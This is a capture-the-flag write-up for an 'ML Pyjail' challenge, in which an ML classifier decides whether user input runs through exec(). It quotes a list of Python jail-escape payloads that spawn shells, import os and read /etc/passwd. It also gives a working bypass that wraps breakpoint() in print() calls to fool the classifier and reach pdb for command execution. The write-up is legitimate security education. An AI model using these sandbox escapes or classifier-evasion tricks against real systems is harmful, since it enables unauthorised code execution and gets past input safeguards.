ML Pyjail

Python Jail with a twist.

Challenge Description

An AI-powered fortress guards a treasure trove of forbidden knowledge. Legends speak of a mystical combination of Machine Learning and Python code, interwoven with an impenetrable pyjail defense mechanism. Your mission, should you accept it, is to breach this formidable barrier and unearth the secrets hidden within. Good luck

Initial Impressions

Connecting to the challenge server, we are presented with Bad Code Detected.... when we try to enter any sort of python commands except print

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/Desktop/CTF/PatriotCtf/Bookshelf]
โ””โ”€$ nc chal.pctf.competitivecyber.club 7777

Scipy not supported!
>>> import os
Bad Code Detected...
>>> print('hello')
hello
>>> 1+1
Bad Code Detected...
>>> 

Looking at the source code, we see that our input is being sent to the ML model via the classification function. If the code is deemed as good_code, we get RCE via the exec function.

#!/usr/bin/env python3
from mlmodel import endpoint

WARNING = '\033[93m'
ERROR = '\033[91m'
END = '\033[0m'

if __name__ == "__main__":
    while True:
        user_input = input(">>> ")
        classification = endpoint.classify_local(user_input)
        if len(classification) == 0:
            print(f"{WARNING}Cannot verify...{END}")
            continue
        intent = dict(classification[0]).get('intent')
        if intent == None: continue
        try:
            if intent == 'good_code':
                exec(user_input)
            else:
                print(f"{ERROR}Bad Code Detected...{END}")
        except Exception as e:
            print(f"Oops, something broke: \n{ERROR}{e}{END}")
            pass

If we look at the data that the model is being trained on, we see that good_code.txt mainly consists of print statements while bad_code.txt consists of your usual python3 jail escapes.

#Contents of good_code.txt
print('Hello, World!')
x = 5; y = 10; print(x + y)
numbers = [1, 2, 3, 4, 5]; print(sum(numbers))
print(''.join(['Hello', ' ', 'World!']))
print('The answer is', 42)
print('Even' if x % 2 == 0 else 'Odd')
names = ['Alice', 'Bob', 'Charlie']; print(', '.join(names))
import math; print(math.sqrt(16))
x, y = 2, 3; print(x * y)
print(' '.join([str(i) for i in range(10)]))
print(sorted([3, 2, 1]))
print(len('Hello'))
print('Python'.upper())
print(max([4, 1, 7, 3]))
print('Hello, World!'[::-1])
print(chr(65))
print(ord('A'))
print(2 ** 10)
print('Hello, World!'.split(','))
print([i ** 2 for i in range(5)])
x = 5; y = 2; print(x ** y)
print(any([True, False, False]))
print(all([True, True, True]))
print(bin(42))
print(hex(255))
<snip>
#Contents of bad_code.txt
os.system("ls")
os.popen("ls").read()
commands.getstatusoutput("ls") 
commands.getoutput("ls")
commands.getstatus("file/path")
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("ls")
pty.spawn("/bin/bash")
platform.os.system("ls")
pdb.os.system("ls")
importlib.import_module("os").system("ls")
importlib.__import__("os").system("ls")
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
imp.os.system("ls")
imp.sys.modules["os"].system("ls")
sys.modules["os"].system("ls")
__import__("os").system("ls")
import os
from os import *
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py')
system('ls')
exec()
exec("print('RCE'); __import__('os').system('ls')") 
exec("print('RCE')\n__import__('os').system('ls')")
<snip>

So the exploit most likely has to do something with print.

Solve

My teammates suggested using the breakpoint function which will allow us to enter into PDB (Python Debugger) and execute python commands.

However if we try to execute the function as it, it gets classified as bad code.

>>> breakpoint
Bad Code Detected...
>>> breakpoint()
Bad Code Detected...
>>> 

However, we can easily override this by encapsulating breakpoint() within print() and from there we can easily get the flag.

print(breakpoint())
(Pdb) import os
(Pdb) os.system('cat ./MLjail/flag.txt')
PCTF{M@chin3_1earning_d0_be_tR@nsformati0na1_1818726356}0

You can also trick the machine learning model into interepting the code as good code by entering multiple print() before appending breakpoint() to the end.

>>> print();print();breakpoint();

--Return--
> <string>(1)<module>()->None
(Pdb) 

I suspect the reason why breakpoint() is being blacklisted in the first place is because of the use of () which is prevalent in the training data for bad code.

If I try using multiple prints with a known "bad code payload" such as import os or exec(), it doesn't seem to work.

>>> print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();exec();
Bad Code Detected...
>>> print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();print();import os;
Bad Code Detected...

Last updated